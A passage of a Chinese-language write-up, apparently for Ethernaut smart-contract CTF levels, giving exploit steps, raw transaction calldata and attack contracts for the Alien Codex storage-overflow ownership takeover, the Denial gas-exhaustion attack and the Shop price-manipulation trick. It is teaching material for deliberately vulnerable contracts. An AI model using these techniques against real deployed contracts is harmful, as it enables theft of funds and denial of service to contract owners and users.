https://solidity.readthedocs.io/en/v0.4.25/miscellaneous.html#layout-of-state-variables-in-storage
可以知道实际上在 slot 1 位置上存储的是 codex 的 length,而 codex 的实际内容存储在 keccak256(bytes32(1)) 开始的位置。
Keccak-256 紧密打包的,意思是说参数不会补位,多个参数也会直接连接在一起。所以这里要用 bytes32(1) 而不是 1 .
这样我们就知道了 codex 实际的存储的 slot,因为总共有 2**256 个 slot,我们想要修改 slot 0 ,假设 codex 实际所在 slot x , 那么当我们修改 codex[y](y=2**256-x) 时就能因为溢出修改到 slot 0 ,从而修改到 owner。
但是我们要修改 codex[y] , 那就要满足 y<codex.length , 而这个时候我们 codex.length 的值很小,但是我们通过 retract 是 length 下溢然后就可以编辑 codex[y] 了。
所以接下来的操作很简单了。
-
1.
func="0x1d3d4c0b"; // 函数 id data1="0000000000000000000000000000000000000000000000000000000000000020"// 偏移 data2="1000000000000000000000000000000000000000000000000000000000000001"// 长度,构造大于 2**200 data=func+data1+data2 web3.eth.sendTransaction({from:player,to:instance,data: data,gas: 1111111},function(x,y){console.error(y)});从而使
contact=true -
-
计算
codex位置为slot 0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6,function go3() view returns(bytes32){ return keccak256((bytes32(1))); }
-
-
- 计算 y,
y=2**256-0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6
- 计算 y,
-
- 调用
revise(y,player_addr),这里player_addr记得填充到 32 字节,比如我的地址是0x91c72f7200015195408378e9cb74e6f566dddf44,所以填充到0x00000000000000000000000091c72f7200015195408378e9cb74e6f566dddf44
- 调用
然后就 ok 了。
Denial
题目代码如下:
pragma solidity ^0.4.24;
contract Denial {
address public partner; // withdrawal partner - pay the gas, split the withdraw
address public constant owner = 0xA9E;
uint timeLastWithdrawn;
mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances
function setWithdrawPartner(address _partner) public {
partner = _partner;
}
// withdraw 1% to recipient and 1% to owner
function withdraw() public {
uint amountToSend = address(this).balance/100;
// perform a call without checking return
// The recipient can revert, the owner will still get their share
partner.call.value(amountToSend)();
owner.transfer(amountToSend);
// keep track of last withdrawal time
timeLastWithdrawn = now;
withdrawPartnerBalances[partner] += amountToSend;
}
// allow deposit of funds
function() payable {}
// convenience function
function contractBalance() view returns (uint) {
return address(this).balance;
}
}
题目要求也比较简单,就是在调用 withdraw 时,禁止 owner 分走账户的 1% 的余额。
刚开始傻了,想的那很简单啊,利用 withdraw 函数的 reentrancy 问题,100 次就把账户转空了。然后才想起来是余额的 1%。最近脑子不好使。
那这样的话,可以考虑使 transfer 失败,也就是想办法把 gas 耗光。比如在 partner 合约中设置大量的存储或者一个循环运算。后来想起来一个最简单办法, assert , 这个函数触发异常之后会消耗所有可用的 gas,那么剩下的消息调用(比如 owner.transfer(amountToSend) ) 就没有 gas 可用了,就会失败了。
所以 attack 代码很简单:
contract attack{
function() payable{
assert(0==1);
}
}
shop
题目代码如下:
pragma solidity 0.4.24;
contract Shop {
uint public price = 100;
bool public isSold;
function buy() public {
Buyer _buyer = Buyer(msg.sender);
if (_buyer.price.gas(3000)() >= price && !isSold) {
isSold = true;
price = _buyer.price.gas(3000)();
}
}
}
要求是修改 price 低于 100,简单来说可就是 _buyer.price.gas(3000)() 两次返回不一样的值,比如第一次返回 100,第二次返回 0。似乎很简单,但是这里的难点在于 gas 限定了只有 3000,我们通常会想要使用一个状态变量,比如 a=0,第一次访问返回 100 之后修改为 1,第二次判断一下如果不为 0 就返回 0。但是一旦涉及到状态变量也就是 storage 的修改,那就不是简单的 3000gas 能够解决的了。这里发现题目有一个变量 isSold , 我们可以根据这个的值判断该返回的大小,最后攻击合约如下:
pragma solidity 0.4.24;
contract Buyer {
function price() view returns (uint) {
return Shop(msg.sender).isSold()==true?0:100;
}
function go(address param){
Shop a = Shop(param);
a.buy();
}
}
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:- oscnews 1.3.0 更新,更新趋势榜功能
- VLOOK V9.23 更新!表格自动排版大更新
- oscnews 1.0.0 更新,软件更新资讯 Chrome 插件
- .NET Framework 4.8 的 Microsoft 更新目录更新
- 网游丨一月一更新,一更更一月,如何实现热更新?
- CCleaner v5.74.8184 发布:重要更新版本、可自动更新
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。